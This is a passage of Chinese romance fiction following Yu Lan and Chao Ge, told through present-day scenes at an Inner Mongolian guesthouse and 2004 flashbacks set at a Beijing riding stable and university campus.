“你们来对了地方,整个旗就属我们这个敖包维护的好。我们老板前几天刚去祭祀过,从里到外打扫了一遍,彩旗都是新的,鲜艳得嘞。”
吉普车里,都仁喜气洋洋,这车连他都是第一次开,心情自然好。
辛可瞄了眼靠在后座报臂假寐的虞蓝,阴阳怪气:“你怎么满嘴都是你们老板”
都仁嘿嘿笑了声,想着平时旅行团里有女生,听他提朝戈都恨不得他滔滔不绝多讲点。
今天有虞小姐这种气质的在车上,连她朋友都是漂亮犀利的,行李牌上都写着英文,果然见过世面的就是不一样。
“——你们老板平时亲自带队吗?”
都仁:“很少。”
“他事情很多,又要忙马场那边,每天忙得脚不沾地,电话一个接着一个,根本没时间分身。”
“这么大的民宿都只是个副业?”辛可睁大眼,有些震惊。
“你想呢,一匹马供应给香港和英国荷兰那边就是好几百万。光是附近旗里的贫困学生,他就资助了上百个。希望小学,建了不知道多少所。”都仁又难掩骄傲。
但旋即,又想起了什么,叹了口气,自顾自道:
“他又不缺钱,也不知道忙成这样是图什么?”连身体都不顾。
不缺钱。
对以前的朝戈来说,好小众的描述。
辛可拧头去看虞蓝的表情,但是后者脸上什么表情都没有。
都仁的话没有引起丝毫波澜。虞蓝抱臂扬颈随意靠在椅背,鸭舌帽半盖在脸上,窗外淌进来的微金阳光在她下巴一晃一晃,自成一个静谧的小角落。
像是真的睡着了。
辛可顿时觉得自己这点惊诧和意外没有意义。
过去实在太久,连虞蓝自己都不在意了。
最后只拍拍都仁肩膀,示意他把音乐声音拧小些。
胡杨也配合地把车窗升起,脱了自己的外套,轻披到虞蓝身上。
...
2004年春夏之交。那天护士站出来之后,虞蓝就反应过来一件事情——男人的外套落在她这。
她向来不喜欢欠别人的,还不能下床走路的时候,就给朝戈发去消息——
“什么时候方便,我托人把衣服带给你。”
收到的回复只有简简单单两个字:“不急。”
他不急她自然也不着急,反正衣服不是她穿。
但一晃一个月,x京春暖花开,虞蓝能走路了,但也几乎过了能穿皮夹克的季节,再给男人发短信几次,回复都一如既往的简短。
“晚点,有事。”
“忙,改天。”
虞蓝:“......”
她扫着自己养伤而堆叠垒成小山的一堆考试功课ddl,实在想不明白——他到底能忙成什么程度?!
能有她忙?
疯疯癫癫地忙过了期中这一阵子,辛可突然挽着她的胳膊撒娇求她一起去上马术课。
“学会了我爹今年就带我去夏威夷,海里骑白马,老美管这个叫horseswimming,可洋气,到时候小比基尼一穿,果冻海上骑马,果冻海里浮潜看珊瑚,不知道有多出片。”
虞蓝被她晃得闹心:“马术不都是从小学的吗?现在学不晚?”
“我这种玩玩的,临时抱佛脚应付应付肯定够了。”辛可举起一根手指,逼问:“不过——你从哪听的马术从小学?齐之禾?”
虞蓝颔首,远离她的逼供:“他就从小学。”
“齐家公子哥,人家讲究儒雅随和上层阶级有品味,哪是我这种小暴发户能比的。”辛可一面阴阳怪气,一面掏出小镜子扫刘海,睨她。
“你如实招来,你俩到底什么关系?”
虞蓝:“邻居。”
“那么大男神校园里的女生趋之若鹜的,还给你送水,你说只是邻居?”
虞蓝认真想了想:“可能还算好朋友。”
严格想来,从小就跟她住一个联排,叫声哥哥也不为过。
辛可切了声:“齐公子也在那个京郊马场,你要不要考虑去?”
虞蓝不为所动。但撑不住辛可连哄带拽的,最后还是一起去了京郊马场。
京郊马场依山傍水,来的人都非富即贵。
胖销售看见她们仿佛看见了人来送钱,眼睛弯成了两沓钞票厚。
和颜悦色地把她和辛可带到贵宾室门口,两步远的位置,微躬着请她们进去换衣服,出来再叫他就好,稍等他带马术教练来介绍。
虞蓝不是很感兴趣,毕竟主打一个陪伴。
半道就借口上洗手间从柑橘雪松香的贵宾室里脱身出来。
路过一扇半掩的门,瞬息就被里面的训斥声牵绊住脚步。
“我早告诉你早到起码半个小时,你倒好,现在才来,卡着上课点,你不知道这份工作多少人抢着要?”
“我告诉你,能干就干,不能干就给我滚。有的是人盯着你这个位置,要不是看你人长得精神,我会破格要一个没有马术教学经验的野路子?”
声音太过尖厉,虞蓝晃了会神才辨认过来是刚才和颜悦色的胖销售。
要吃人的架势,同方才状态判若两人。
他身旁,水池旁边,还站着一道挺拔背影,一件单薄衬衫,袖扣往上卷起,伸出一截小臂湿涔涔地在水龙头下任其冲刷。
男人侧脸额上还挂着水珠,看上去是洗脸洗到一半便受到训斥。
无处可去的水珠积蓄在深邃眉宇,随着男人蹙眉的动作,顺着高挺的眉弓悉数滑落,最后洇在男人拽过一条白毛巾里头。
男人侧着身,虞蓝看不清他脸上表情。只能隐约听见他低醇的嗓音,态度还算可以:“下次不会了。”
一旁的胖销售也不说话了,只一面嘴里讷讷地小声嘀咕,一面推门往外走。
门甫一推开,就撞上正在门外立着的虞蓝,愣了一秒,瞬息换了一张脸,满脸堆笑:
“虞小姐,您换好衣服了?在站着多冷啊,vip室有空调。”
虞蓝睨他一眼,没吭声,视线凉凉地仍向着屋内。
胖销售反应过来:“朝戈,快,出来和虞小姐打招呼。”
门从里面推开,男人走过来,携过来一股洁净皂香和莫名凉意。
沉敛的眸光朝她落过来,动作一滞,明显诧异,旋即又恢复了面色如常。
“这位是虞小姐。”销售殷勤地在中间介绍:“虞小姐,这位是朝戈,你今天马术体验课的教练。”
朝戈眉棱轻压,也跟着叫:“虞小姐。”
他长得太高,虞蓝看他需要扬颈。
走廊半环抱马场,隔两步就是新鲜草地,冷风在其中游荡。
x京早春的天似孩子的脸,今天刚下了薄霜温度骤降。
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>虞蓝看着男人潮湿竖立的黑短发,忽然明白过来刚才他开门携过来的那阵冷意怎么回事
——这么冷的天,他用凉水洗的脸。
胖销售看虞蓝半天没反应,以为是被朝戈这张脸唬住了。
欣喜地搓着两张肥厚掌心,满怀期待:“虞小姐,你看今天给您安排这位教练您还满意吗?”
“你别看他年轻,技术绝对没得说,保证把您教好。”
他有一大半把握,这单成了。
毕竟富婆嘛,玩乐的项目也讲究赏心悦目的。
虞蓝回神,一瞬间想扯唇冷笑。马术就马术,但销售那副神情和口气仿佛老鸨,平白带了股羞辱人的意思。但他身旁,男人仿佛一堵土墙,生得牢固坚硬,不为所动。
同那天雨夜他把她背在背上,独自淋雨时候,一副神情。
虞蓝毫不犹豫:“不满意。”
胖销售一刹那惊愕地以为自己听错。
“——你。”虞蓝扭过头,视线斜落在他身上,漫不经心:“找你们老板换个销售给我,正经关于课程的介绍一句都没听到,半天光听你说话了,耳朵都烦。”
“他我不知道,但我对你的专业度深感怀疑。”虞蓝视线在胖销售脸上深深顿了两秒,随后甩身就走。
留胖销售立在原地,脸上一阵红一阵白。
太阳露晴,走廊风停。
那时候虞蓝自顾自地走远。
没顾及到身后有道目光久久没散开。
-
隔天,x京大学广播里DJ版红日和Shapeofyou循环播放,敲得校园里每个人心里锣鼓一样。
操场被改成盛大露天礼堂,红金的大条幅张灯结彩似的,写着“颁奖仪式。”
虞蓝被吵得心烦,又不是高中生,这点事情还要三令五申通知全校学生参加。
不远处,辛可一瘸一拐的走过来
虞蓝:“你怎么回事?”
辛可脸抽抽成一团:“你提前走了没骑你是不知道,颠得屁股都要碎了。”
“这会不想着夏威夷比基尼骑小马拍照了?”
“拍个鬼。”辛可欲哭无泪,抓住虞蓝一半袖子擦,“你昨天怎么提前走了,留我自己一个人受罪。?”
虞蓝:“没兴趣,待着烦。”
说完,漫不经心地往颁奖台看,台侧恰好爆开彩色纸礼花,几排新鲜绣球花篮扎着彩带争奇斗艳,颁奖小姐人均旗袍小高跟。
“什么活动这么盛大?”
“…给贫困学生颁慈善资助金。”辛可犹豫了下,还是把主语吞了下去。
“?”
虞蓝满头问号,视线越过颁奖台,看向帷幕后面几个局促低眉的身影。这就是要在众目睽睽下接领贫困金的学生。
“是不是还得上去讲述一下自己家庭困难到什么程度?”虞蓝冷笑。
这种傻逼东西竟然到今天也没被取缔。
辛可不好讲是虞蓝他爸特意要求的这一环节,挽回场面道:“也不一定有那么夸张,学校搞不好也是也是想证明没有贪污慈善款。”
虞蓝:“就好像爆料出来就不会贪污了一样。”
贫困是一种隐私这种事情,变成台前宣讲,何其讽刺。
视线所及,有等待领贫困金的女生,穿着靛青蜡染的百褶裙,绣片和银铃一眼民族风。
还说不是作秀。
虞蓝视线定在那片苗族裙摆两秒,猛地反应过来什么,挤到前排拍拍候场的男主持人肩,在人以为自己被搭讪错愕之际抽出他手里的串场词。
一个名字一个名字顺势往下查。
……
内蒙锡林郭勒盟贫困旗。
朝戈。
虞蓝心陡然重了下。
台前,一个怯懦的女生已经上台,满脸红涨地讲述自己家庭贫苦,讲到自己从小父母离异,爷爷赶集回来路上三轮散了把人砸成偏瘫的时候,两眼绯红。
台下一片议论纷纷:
“天啊,这么可怜。”
“我要哭了。”
“不知道她这辈子能不能挣脱出自己的原生家庭。”
女生几度讲不下去。但校领导紧攥着红信封,她看了一眼,只能咬着牙说完。
最后,台下一片掌声。女生飞也似地跑下台,留下一角被攥皱的衣摆和满头汗渍。
台下同情的目光和羞辱的区别,有相隔,但是有几线?
虞蓝莫名想起昨天冷水洗脸的那个少年。
一场对于自尊的凌迟。
“哎你去哪?”辛可一回头,虞蓝已经不在位置。
“京郊马场。”
辛可一头雾水。不是刚说完没兴趣吗?
京郊马场,虞蓝一口气冲了几万的课。销售毕恭毕敬地把她送出门外时候。
虞蓝手机叮一声,辛可来的消息:
“有个叫朝戈的,是不是之前你崴脚时候救你的人?”
“主持人喊了几次都没回应,人直接没来,那资助费还挺多的呢,真有种。”
虞蓝盯着消息看了片刻,抿唇,把手机塞回口袋。
不去想有人为了自尊不拿这笔钱,需要多少个冷水洗脸的瞬间来还。
x京初春,冷雨已经少之又少。黄昏前天空呈现一种深邃湛蓝,阴郁,但也洁净。
甚至偶尔会让人忘了,生活何其苦。
7. 第7章
-
马场买课的隔天,虞蓝就收到了短信消息,朝戈来拿他的衣服。
虞蓝:[OK,你在什么位置,给你送去?]
[不用,明天晚上6点,hs楼302教室门外。]
虞蓝盘了下时间,发现她有节设计课在那:[你怎么知道我在这上课?]
[你们专业的人,都在这上选修。]
末了,又来了条,[学校官网上的公开信息。]
虞蓝回好。
当天晚上,老师加了个随堂小考,眼看着就要拖堂。
虞蓝翻出手机给男人发了消息,但迟迟没得到回复,也不知道这人看见没。
等她终于结束了出来,暮霭已经缓缓落下,天将近黑了。
虞蓝四下没看到人,估计他应该是走了。
也是,哪有人能莫名其妙在外面多等一个多小时。
她刚想掏出手机发消息约下次时间,忽然被人叫住。
抬眼一看,一个西装革履的男生,带副半黑框眼镜,有点拘谨的样子。
灯光昏暗,好半天她才分辨出来,男人怀里捧着束玫瑰花。
周围不少别的教室下课的同学路过,眼神都往这边偏。
“你有事?”
男生有些紧张:“我找你。”
虞蓝不得不停下动作。
男生捧着花上前一步:“虞蓝,我从第一次见到你就非常喜欢你,在这之间我甚至都不知道什么是喜欢,我知道我这次确实很唐突,但我觉得你应该能感受到我的真诚....”
“你停一下。”灯光昏暗,虞蓝眯了眯眼,才好不容易辨认出这个人。“林超是吧?”
“你还记得我!”男人喜出望外。
“......”很难不记得好吗?
林超这个名字有一段时间是她们宿舍夜聊的重点人物。
是她室友小米的暧昧对象,只差临门一脚的那种。
小米曾经害羞腼腆地邀请整个宿舍聚餐,实际是让大家帮她考察一下这位准男友。
那顿饭有事虞蓝没去吃,但那天回来之后,小米跟她堵了好久的气,连晚上护肤时候,都故意把瓶瓶罐罐放的叮当响。
后来听说那林超在得到消息,小米会带她来吃饭之后。请饭的餐标一下从人均两百的南门涮肉,变成了大几千的新荣记。
预算瞬间翻了四倍不止。
虞蓝之后在社团里还真碰见这男的几次,周围人问他之前不是有个叫小米的暧昧对象吗,怎么没见在一起,跑啦?
男人一只眼瞄着她,大言不惭:“小米是小镇上来的,没吃过没见过的,我请顿新荣记就跟我闹好几天别扭,倒不是说人家小姑娘不好,就是...有点没见过世面,还是那句话,两个世界的人。”
当时正好没捞到机会骂他。
虞蓝抱臂,睨他:“林超,你是本地人吧?”
这问到男人的优势上,林超眼睛一亮,腰杆直了些:“x四环。”
虞蓝哂笑:“你确实是没见过什么世面,就这也值得拿出来说一说?”
她扫视了眼林超怀里拼着硕大love的玫瑰花。
“咱们两个是一个世界的人吗?你就敢来跟我表白。”
“我要是你,我会在做之前,非常认真的想一想。”
男人怔在原地,脸一阵红一阵白。
周围有不少人竖着耳朵听见了这句,都往这面看。
视线里都带着情绪,滚辣辣的。
虞蓝的对面就是荣誉墙,盾形的奖牌上镀着天幕仅剩的一丝余晖,镜子一样,折射出她盛气凌人又招人恨的脸。
尖酸又满不在乎的语气,很难不惹窸窣碎语。
虞蓝倒是不以为意,她自诩对一个人最大的打击就是采用对方的逻辑。
她用得很明白。
但扭曲的奖牌光里头,一闪而过一道优越挺拔的身影,虞蓝没来由的心神一晃。
但也就是片刻,反应过来男人还没走远之后,立刻不由分说,提着衣服袋子追上去。
*
电梯口,朝戈插兜等的这一班电梯迟迟不来。
直到镜质的电梯里出现了女生冷棕色的长卷发,波浪海藻一样,随着她大步涌进视野。
瞬息占据了镜子背景里一半的分量。
她一站定,那点没散的玫瑰色余晖就聚过来,本来就顺滑的头发被光映得绸缎一样,似乎发卡别上去都会滑落。
朝戈蹙眉,别开视线。
“你没走怎么没说一声?”虞蓝一来就见他撇开眼,以为这人是等久了憋气,也没和他计较。
袋子递过去:“再不还你就真穿不上了。”
虞蓝边说边留意了下男人今天穿的衣服——没再穿件单薄衬衫,而是件拉链运动卫衣。
还算是符合季节。
朝戈默声接过袋子,包装精良的印花纸袋,里面衣服包了两层塑料膜,上面印着「衣尊」的logo。
校门口那家高端洗衣店,一件衣服的干洗价格怕是能买五件他的夹克。
见他视线停顿,虞蓝以为他是看见了她放在侧面的白色恋人盒子。
“前一阵出去玩带回来的饼干,谢谢你。”
朝戈这才留意到衣服旁边,那串上面写着日文的饼干盒。
动作停滞了几瞬,抬起眼,冷冷开口:“我只要我自己的东西。”
虞蓝从他漆黑的眸子里读出了满满的抵触,甚至有对不速之客的厌烦。
“我放都放了。”还能让她把送人的东西再拿出来?疯了?
男人见她没有动的意思,于是低眸亲自将衣服从袋子里捞出来。
把装着饼干盒的袋子递还给她。
虞蓝:“......”
没见过这么犟的人。
“你在马场充了卡?”朝戈站在她对面,忽略她脸上不悦的无语的表情。一双漆黑深邃的眸子微敛,低头看她。
“对啊。”虞蓝就知道话题会绕到这件事上,坦声道。
“退了。”男人眉弓微压,冷静道。
虞蓝彻底被激怒,她做事情不为让人领情,更不为让人感谢,但她听不得指手画脚和凭空砸来的命令。
“我充我自己的卡,又没耽误你,你说退我就退?”
她的怒火一夕之间烧起来,眸光也是凌厉的,迫视着对方。
但男人面无表情,一双黑眸里像叠压着层层的深夜树影,丝毫不为所动。
“退了。”
虞蓝简直要气笑:“你搞清楚,我充卡是为了我自己,不是为了你。”
窗户开着,夜晚冷风不遂人心意,自顾自地吹拂。
把女人的话一股脑吹进人耳朵里。
又吹动几缕冷棕色的发丝向前飘逸、缠绕。
恼人的发丝将将吹过男人肩膀时,男人似有所感,低头瞥了一眼。喉结滚了滚,刻意和它错肩。
没让它落上来。
-
夜晚,朝戈推门进宿舍的时候,里面正一片喧闹。
“蓝给我,这波翻野慢了——啧,蔡文姬你开大跟闪现干嘛?对面打野在草里蹲着呢!
“你可别惦记你那破蓝了!老子被对面兰陵王抓成提款机了。”
“哎哎哎,又完蛋。”
无论是空调温度还是游戏吵闹程度,屋里都像沸腾似的。朝戈如若未闻,把包撂下,单手拽着后领向上扯,把今天的脏衣服换下来。
室友探出头的时候,正好赶上朝戈卫衣内里擦过后颈,发梢弹起几粒汗珠,灰色衣料翻卷着褪成喉结上方晃动的影子,露出饱满又紧实的上半身。
张口的同时不禁腹诽:人家这身材怎么练的呢。
都是大学生,其他人都是一溜的搓衣板。
“朝戈,你终于回来了!快跟我们讲讲,今天到底怎么回事?论坛上都炸了。”
朝戈换衣服的动作一滞,疑惑的目光投过去:“论坛?”
“对啊!”室友飞快翻找手机,给他亮出来讨论最高的那张照片。
拍的是今天电梯前立着说话的他和虞蓝。
“可以啊哥,一声不响的,竟然连设计院的女神都认识,人家女生可是出了名的又漂亮又有钱,不知道家里是干嘛的
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,但是她家里人来学校送她的时候我可亲眼见着了,开得是迈凯轮Artura。”
朝戈抬眸看他一眼,没吭声,继续整理桌面。
“你别不说话啊,快给我们讲讲,视频里录的清清楚楚,人家女神抛下乌泱泱的一大堆人,专门奔你去了。”
在众人热络又灼灼的眸光下,朝戈轻描淡写地憋出来两个字:
“不熟。”
“不熟人家找你说话?”室友们狐疑,眼神里写满了你骗鬼呢。
“她问路。”朝戈冷冷道。
?几人对了下眼神,觉得这才是真的骗鬼。
其中一个跟他关系最近,叫卫莱的男生把手机塞到他手里,让他自己看帖子。
朝戈眉宇攒起。
发帖人绘声绘色,一张图讲出了一篇故事,什么追求者捧花心碎沦为配角,女神奔向少数民族新欢...没事闲的。
越往下看,眉宇间蹙得更紧。
除了惊异讨论之外,还有几层帖子开始了无端揣测。
“不太可能吧,就算虞蓝真对他有意思应该也是玩玩而已,这种有钱人家的大小姐不都是这个脾气,大方开朗,爱撩拨撩拨内敛纯情的男生,女神可能是没见过这类型的,一时间好奇占领高地,我盲猜不会太久。”
“+1我觉得也不会长久。关键之前不是说她和那个什么资本的齐之禾是一对儿吗,校园里成双入对的,我还碰见两次,齐公子眼睛都快长虞蓝身上了。这会告诉我磕错cp,疯了??这般配吗??”
“emmm我看问题角度比较现实,人总是要讲个门当户对的,别的我不说,懂的都懂。”
朝戈冷冷抬唇,都什么和什么。
手机丢回卫莱床上,朝戈动作利落地把衣服整理好,绕到洗手池拧开冷水洗了把脸,除了除倦意。
甩了包在肩上,立在原地愣了一会,不知想什么,最后又把塑料膜裹着的皮夹克拿出来穿上。
“朝戈,你怎么这个点还出去,还去打零工?不歇歇,赚钱不要命了?”
卫莱把着扶手看见他做势要走,一个翻身,枕头掉地上。
朝戈把枕头甩给他,声线低沉短促:
“你管呢。”
“不管不管。”卫莱长了张讨喜娃娃脸,见朝戈理他,立刻狗腿子道:“能不能求哥哪天百忙之中抽些时间陪我打会球?”
上次朝戈教他那两招,他在野球场上可没少秀。
晃得那群来打球的小子一愣一愣的。
朝戈抚上门板,铁质的扶手被风吹得冰冷,一触就能让人回归现实和清醒,提醒他什么是他人生的主线任务。
他头都没回:“最近没空。”
留下一屋子被拒绝的室友,有些哑然。但也习惯了。
宿舍楼下的凉风里,男人在最冷的屋檐底下,点燃支烟。
缓缓升起的白雾让他升起些安定感,能眯眼看看忙碌烦躁混乱的每天中当下的时刻。
当下——大学的校园总是充斥着青春的荷尔蒙。
有热恋期的小情侣,黏黏腻腻,已经到了楼下也搂着腰不愿意放开。
一个嘟囔着只有另一个人能听到的话,或者陡然顺着春夜晚风凑到对方唇边。
朝戈蓦然想起来今天的虞蓝——其他人眼里,同他共享一方私密的空间,同他悄声密语,甚至会让他在夜晚的宿舍里还被室友盘问。
但只有他自己知道,小姑娘那张灿烂昳丽的脸,眸色郑重又坚决地盯住他时,能说出多么狠绝刺耳的话
她说——
“你搞清楚,我充卡是为了我自己,不是为了你。”
“你们马场有个学员叫齐之禾。我是奔着他去的,听懂了吗?”
“和你没有半点关系。”
北京的春天寒凉,天却亮晒,给人一种看上去热实则冰冷的错觉。
后来很久之后,他们已经在一起,回想起当年x京忽寒乍冷的天气里,虞蓝窝在朝戈怀里,听到了男人对当时情景的一番描述。
“我和你是两个世界的人。”他说,“没人比我自己心里更清楚。”
-
8. 第8章
虞蓝一直靠在椅背,等到车晃悠到了时候才睁眼。
睫帘掀开,眼睛甫一适应阳光,窗外漫野绿意翻滚而来。
远处水流蜿蜒,被格外明亮的日光一照,像镶嵌在广袤草原的亮银丝带。
凡世愁烦、怨恨、不甘,仿佛都在此屏蔽。
只剩下流淌的水、微微荡漾的水草、饮水的马儿。
“哇———”辛可发出尖锐爆鸣,举起手机拍照。
杨树扫了眼,发现虞蓝也醒了,这才降下车窗,放了点新鲜空气进来。
“这敖包该怎么绕啊?”
“顺时针转三圈,双手合十,每圈结束时捡一块石头,垒在敖包上。心虔诚一点,长生天会听到你们的声音的。”
三人率先顺着他的指示开绕。
都仁站在漫天彩旗底下教学。
“注意方向哈,方向反了会撞桃花劫的!”
虞蓝早上没吃多少,胃里空空,低头系了下鞋带猛地站起眼前立刻眩晕发黑,自己找了一隅石头扶着缓。
胡杨见状,本来正绕着敖包,掉头拧开水瓶递过去。
等到虞蓝仰头喝了一口,他又从双肩包里掏出一只红豆面包。
虞蓝吓了一跳,笑道:“你变魔术啊。”
“垫垫肚子,不是很甜。”胡杨一本正经的解释。“胃里一直没东西不行。”
早餐时,他看虞蓝咸奶茶和奶酪饼都没碰几口,猜到她可能嫌弃腥膻。
他留了个神,出门前特意往包里塞了点零食。
被人惦记肯定心里暖。
虞蓝弯弯眉眼,接过来啃之前,不忘夸夸:“还得是我们小胡心细。”
“没有。”胡杨轻声。
虞蓝低头吃面包,没留意到被她点到名字的一刹那,男生的耳根加脖颈都覆上了浅粉。
都仁带着人绕敖包,绕着绕着发现人少一个。
扭头一看,胡杨果然折返,站在虞蓝旁边,高瘦的身影不偏不倚挡住中午酷烈的日晒阳光。
他下意识地想提醒胡杨绕敖包不能逆时针掉头。
但是旋即对上胡杨低头递水,问虞蓝要不要再喝一口时的表情,忽而又明白过来,决定没必要去把一个年轻斯文男生的心动敲透。
头上彩旗飘飘,内蒙的蓝天蓝得惊心动魄。
都仁有点纠结,要不要把这件事告诉给他老板。
-
旷野民宿。
“我爸怎么样了?”凌小兰趿拉着拖鞋到前台,她起得太晚没赶上早饭,想问问有没有什么吃的,但餐厅里空空旷旷,又不好直说,只好对着柜台里的高大身影迂回道。
男人忙着处理供应商的邀约短信,头都没抬:“你如果担心,可以自己打电话问。”
凌小兰哽住,没想到上来就能被呛,扫了眼窗外灿灿,觉得能出去吃也不错:
“我刚来你们内蒙,你不带我出去转转?”
“我很忙。”
朝戈在纸上留下一段凌锐带钩的钢笔渍,拨冗开口。
凌小兰双手环胸:“那我找那个什么叫都仁的,让他带我。”
“他带客人,没时间。”
“带客人都有时间,带我就没时间?”
朝戈没理她这个没事找事的逻辑,漆黑浓墨的眸子抬起,瞥了她一眼,没说话。
凌小兰看着外面晴空万里的好天气,急得不耐烦:“那怎么办?我又不认识路,我给他打电话让他回来接我!”
她说完,气鼓鼓地按手机号码。
“你可以问,但你看他会不会来接你。”
男人没再抬头,语气轻描淡写,但响在空旷的大厅里头,声线冷得摄人。
凌小兰再度哽住,不禁想起来她来锡林郭勒盟之前,母亲叮嘱的话。
她说你父亲后来捡的那小子,肯定是个老实人。才初中就能扛起一个家,四处打零工都要给你爸治病,现在有钱了又给你爸开民宿,那么大一个产业,就写你爸一个人的名——那叫产业,又轻松又能听见钱袋子响。人肯定是个好说话的,你出国上学的事,就靠他了。
凌小兰现在和他面对面,感受着男人哪怕没抬眼,也迎面而来的震慑和冷硬。
真想把她母亲也拎来看一看,这人好说话个鬼。
但她总算从母亲那没白学,知道硬的不行就得来软的,委顿了一会就又开口,这回语调柔了很多:
“哥,你看你民宿那个刚从城里来的女生,穿得多漂亮,我这连件像样衣服都没有。都是小女孩,我怎么说名义上也是你妹妹,很丢人的。”
“我看车库里还停着一辆车,昨天都仁说是你刚淘汰下来的,借我用一下午,我就开去镇上,也不麻烦都仁哥接送了,你看行吗?”
视线里,男人钢笔蓦地悬停。握笔的右手骨节像隆起的山脊,青筋从腕骨蔓向虎口,牵动指节咔嗒一声把钢笔盖子合上。
不知道被哪句话触动。
凸起的喉结上下滚动了两下,滑出来简短低沉的三个字。
“随便你。”
凌小兰乐得自在地去开车了。
前台,朝戈手机叮叮震动了两声,是都仁发来的消息。
[小兰妹妹给我打电话,我忙着带游客没接着,再回她也不接了,她有啥急事吗哥?]
往下滑,像是为了自证,发来一张带随手拍的敖包图。
都仁的照片角度很刁钻,乍一看是硕大的敖包,彩旗飘飘,但被镜头畸变的一角,是一对男女并肩而站。
男生小心笨拙地挡住阳光,脖颈微垂,被晒得泛红。女生眉梢带笑,素手捧着一块圆面包,正弯眉和他说着什么。
朝戈指尖悬停在那张图上,放大,带着噪点的像素滚进他眼里。
太糊了,看得人直皱眉。
许是看这边许久未回,消息框里,都仁追问了一句:“哥?看我消息了么?”
骄阳穿窗,屏幕晃得眼酸。朝戈熄灭手机,咣当一声撂在前台桌上。
抬腿出门,屋檐底下点燃根烟。
有四脚踏雪的玄猫在树底下冲他喵喵叫,翘着小尾巴,跑到早上院里留的车辙处一顿爪刨。
朝戈抿着唇,和那双琉璃似地圆眸对视两秒,小猫就拧着屁股颠颠过来蹭他。
朝戈蹲下身,嘴里侧衔着烟雾,随意撸了它两把。
“她都不记得你了,你还呼噜。”男人收手,吸完最后一口,看地上浑然不觉,肚皮还没翻尽兴的小崽子,推了把它毛茸茸的后脑勺,“滚吧。”
-
几人祭完敖包,已经中午,都有些饥肠辘辘,都仁开车带着去附近的镇上吃炖牛排。
肥瘦相间的本地牛肋骨排,烤的外焦里内嫩。配上皮薄如纸的烧麦,吃得人周身暖烘烘。
胡杨:“你们内蒙有什么不膻的奶豆腐吗?”
都仁诧异他问这个问题,刚上来的羊奶豆腐也没见他少吃,但旋即扫了一眼胡杨身边捧着茶碗红唇轻吹的虞蓝,瞬间反应过来了。
“有,羊奶的膻,牛奶的还可以,正宗的奶豆腐都是甜中带酸,镇上就有一家。”
胡杨:“那辛苦您稍等给我指个路。”
“好。”
吃饭的镇上是专门做蒙族风情的纪念品,卖银饰的、玛瑙的、毡画的,应有尽有。
虞蓝提议在这条街逛一会,石头买了把镶绿松石的蒙古刀鞘,辛可看上副银马镫戒指,阳光底下锃亮。
辛可挽着虞蓝手臂:“你没有什么要买的吗?”
“有啊。”虞蓝视线扫过一家又一家蒙族服饰,“买几件衣服穿。”
从x京出来得匆忙,只带了身上这一身衣服,根本扛不住内蒙早晚的冷雾和温度。
只是纪念品风情街上的衣服大多俗气,要么是刻板得能拍写真的长蒙古袍,要么是一眼批发市场拿货的廉价白雪纺裙。
走了几家,也没找到合适的。
倒是在过街口的时候对上一双打量的眼睛。女人瞄着她身上的衬衫裙,突然开口:“你这衣服哪买的?”
辛可挽着虞蓝被吓了一跳。哪里的人上来就问,连个主语都没有,没礼貌。
率先一步甩了个白眼回击:“拉夫劳伦没听说过?”
说罢,拽着虞蓝扭头就往前面的店走,小声嘟囔:“最烦没素质的。”
虞蓝若有所思,漂亮的眉宇拧住:“总觉得这人在哪见过。”
怎么想也想不起来,但也算了,想起来也没什么用。
凌小兰瞪眼看两个女人的背影走远。
虞蓝可能没认出来她,但她可是记得昨天这个女人。在屋里污言秽语的,把人家的民宿当什么了。
本来她还觉得这人的裙子版型随意,有种说不出的高级。现在这么背后一看,觉得也很一般般,白给她都不会要。
凌小兰仰头就走。
虞蓝和辛可进了一家小店,捡几件看了下,虞蓝挑了件苔绿裙裤,底边用松石蓝布料滚的,又搭了件松垮白短袖,比量在辛可身上:“试这个,适合你。”
辛可狠搂了一把虞蓝,欢天喜地进了去试。
她最相信虞蓝的品味。虞蓝给她选的衣服永远比她自己挑的好看。这设计师的眼光绝对没得说。
虞蓝自己看了一圈,相中一件长款麂皮风衣,缝着内蒙风情的铜扣绊。再搭上双祥云印花的尖头黑皮靴。
日常也能穿。
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中年女老板蹲在褪色的羊毛毡挂毯底下沿碗边嘬热奶茶,瞄了一眼,头也没抬:“那是阿尔山猎户亲手鞣的麂子皮,最后一件喽。”
“多少钱老板?”虞蓝问。
“一千五。”
虞蓝指尖拨开衣服内里,后背硝烟斑没去净,左襟针脚也走歪了。
真是敢叫价。
没等驳价,身后突然传来一声:“我要了!”
虞蓝循声去看,刚才街口问她话的姑娘跨进门槛,歪头冲她扬扬下巴。
女生长着一张娃娃脸,短下巴,有些稚气的长相。可惜一双水汪汪的圆眼里此刻满是挑衅。
“这衣服一千五,一分价也不讲。”老板从柜台后面站起来,看着新进来的女人,试探重复。
“不讲。”凌小兰笃定道。
虞蓝瞥了她一眼,又低眸扫了下质量问题严重的麂皮风衣,扯了扯唇角转身去看别的。
手刚搭上一件云母灰披风。
忽然听见一道尖锐的女声又道:“老板,那个怎么卖?”
老板反应过来她问的是虞蓝手里捏的那件,回望了一下凌小兰盛气凌人的脸,心下了然。清了清嗓子道:“一千八。”
虞蓝唇角抽动,羊毛混着涤纶的披风,摸上去都扎手。敢叫一千八。
凌小兰也觉得这叫价有些离谱。
但是见虞蓝依旧左右抚着没放手,咬咬牙:“我要了。”
虞蓝差点没笑出声。
找到章法踱步到小店最中间放着的模特身上,装模作样地夸模特身上的黑短貂,毛绒丰厚,色泽光润。
凌小兰有点犹豫。
那衣服放在最显眼的位置,一大堆挎包项链给它做配饰,一看就不便宜。
但虞蓝看上去很喜欢,摸了几回,转过去问老板:“怎么卖?”
老板咽了咽口水,这俩祖宗在这斗法,要是把这件衣服买走了,可够她开张半个月了,硬着头皮梗住脖子:
“这可用的是百分百赤峰貂毛,都是好皮料,贵,你要是不诚心买就别问价。”
虞蓝:“我诚心买,你开个价。”
老板听着虞蓝轻描淡写的语气,再加上这一身矜贵气质,一看就是有钱人。
狠下心博一把,道:“两万。”
两万?
凌小兰吓了一跳,没牌子的貂皮还敢卖两万,海宁的皮草一件也只卖一万五呢。
虞蓝笑着戳穿:“老板娘,出来做生意的,总得多少讲点实在。”
老板本想犟嘴,但看女人似笑非笑地看她,淡淡道:“我诚心买,你重开个价吧。”
只能吸口气,佯装愠怒:“一万八,爱要不要,出了我这门这种质量的皮草你找去,找遍整个盟也找不到一家。”
“一万。”
“一万八,一分不讲。”
“一万一。”虞蓝不为所动,笑容浅浅挂在脸上。
“最多给你一万五。”
“一万一。”虞蓝浅浅看她。
辛可换好衣服出来,都懵了,干什么呢这是。
